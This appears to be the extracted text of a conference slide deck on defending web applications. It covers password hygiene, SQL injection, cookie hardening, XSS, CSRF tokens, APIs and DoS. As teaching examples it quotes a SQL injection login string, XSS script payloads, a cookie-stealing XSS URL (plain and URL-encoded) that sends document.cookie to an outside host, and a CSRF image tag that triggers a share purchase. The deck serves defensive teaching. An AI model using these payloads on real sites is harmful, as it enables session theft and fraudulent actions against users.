Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. We will then review the most common attacks from DOS to XSS to CSRF and ways to defend and / or limit damages.

1. Defending web applications from attacks Roberto Bicchierai http://roberto.open-lab.com rbicchierai@open-lab.com

2. “Web appsw.t.f.?” Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use) Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers) Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)

3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.

4. Seems easy to say “security”… Classical branches: Hardware security Cryptography Identity

5. Cryptography Every single byte you send can be read. SSL does not guarantee 100% and slows down your apps. Sniffing requires knowledge, software, hardware and physical access to wires.

6. User identity Username/e-mail and password strength: “p455w0rD.” better than “password” or “p” avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!) try to avoid dictionary ones (record number of attempts!) never store passwords on your db The newdictionary: why “qazwsxedc” isnot so strong? OpenIDis a suitable alternative for some web apps. Biometrics are NOT. Datibiometrici (difficilmenteusabili)

7. Did I miss something? My servers are in a fortress 3 firewall levels (and one dragon) I use 56 chars non-alpha pwd pwd expires every 10 days I use SSL 1024(128) bit encryption I hung blu velvet curtains to the windows

8. Your app sucks! Injection Cookies XSS CSRF The problem is in the application…

9. Injection: I don’t need a password! Earth 2010: lotsofapplications are still open to the classicalsqlinjectionvulnerability: jsmith a’ or ‘a’=‘a “select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ” DON’T

10. Damned HTML… and your browsers 3 ingredients make web apps vulnerable: HTML was not for applications! But it is! (code injection is too easy) HTTP uses cookies for handling sessions Javascript, that is ubiquitous in a page (and reads cookies) butmainly browsers

11. Remember me! Saltedcookies, saltedcookies! Usesalt and peppertohash login data. Do notmakethemreversible! md5(user.id+”hash”) md5(user.id+”jfhsdj*dsj2+39jrw_enw”)

12. Protectcookies! lost cookies = session stolen, now I’m you! Hard to recover! Quite “easy” to prevent use HttpOnly cookies restrict cookie’s scope by setting host, path, expiry encrypt data saved on cookies

13. Injectionreloaded: aka XSS JSP-ASP example: notes: <textarea name=“notes”><%=note%></textarea> your name: <input type=”text” value=“<%=yourName%>”> <%=yourName%> notes: </textarea><script>alert(“you stink!”)</script> your name: john “> <script>alert(“I can do everything!”)</script> thisis the basicsofXSS

14. XSS How I’llgetyourcookies: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com

15. XSS: encodeuserinputs Do not think it’s easy: if (userInputs.contains(“<script>”)) killTheUser(); itdoesn’t work! http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e Do yourecognizethis? Itis the same script! Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.

16. XSS: encodeuserinputs The safest solution? Limit user inputs to plain text Html encode every single field http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt; Sweet dreams! This is always safe!

18. Textile

19. BBCode

21. XSS: test yourpages There are about 150 different XSS exploits! Test inputs using examples on http://ha.ckers.org/xss.html with different browsers and versions. Use XSSme plugin for FireFox.

22. Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing? Everytime? click here next target: Cross Site Request Forgery

23. CSRF: howdoesit work? John is authenticated on site A. e.g.: stoks.example.com John visit the site B reading news: hotStoksNews.goodboy.com B contains the CSRF attack to site A e.g.: <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”> John is now an happy owner of 1000 KRAK shares!

24. CSRF: protectyourapp There aren’t many solutions: Server-side Generated Tokens!

25. CSRF & Tokens: howto your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one

26. CSRF & Tokens Cons: reloading a page (F5) will generate “invalid token error” if a page has different entry points token generation may be annoying Pros: safe safe safe

27. API: a newenemy? REST, JSON, XML API are not evil in themself, but: there is no “standard” authentication when used with JS clients this may reveal the user key you are exposing new ways for xss and csrf

28. DoS: Denialof Service DoS protocol level: nothing to do… use intelligent gateways/router DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions Use session-less pages until authentication “DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.

29. Yourapprocks! use strong passwords keep data in safe place do not store user’s passwords salt and pepper everywhere use SSL use Httponly cookies encode user inputs or sanitize them use server-side tokens for critical actions expose a read-only API

30. “Don’t be evil”

31. Thank you! Now: Q&A a startingpointwith a collectionof security relatedlinks: http://delicious.com/robicch/security my Java sanitizer: http://roberto.open-lab.com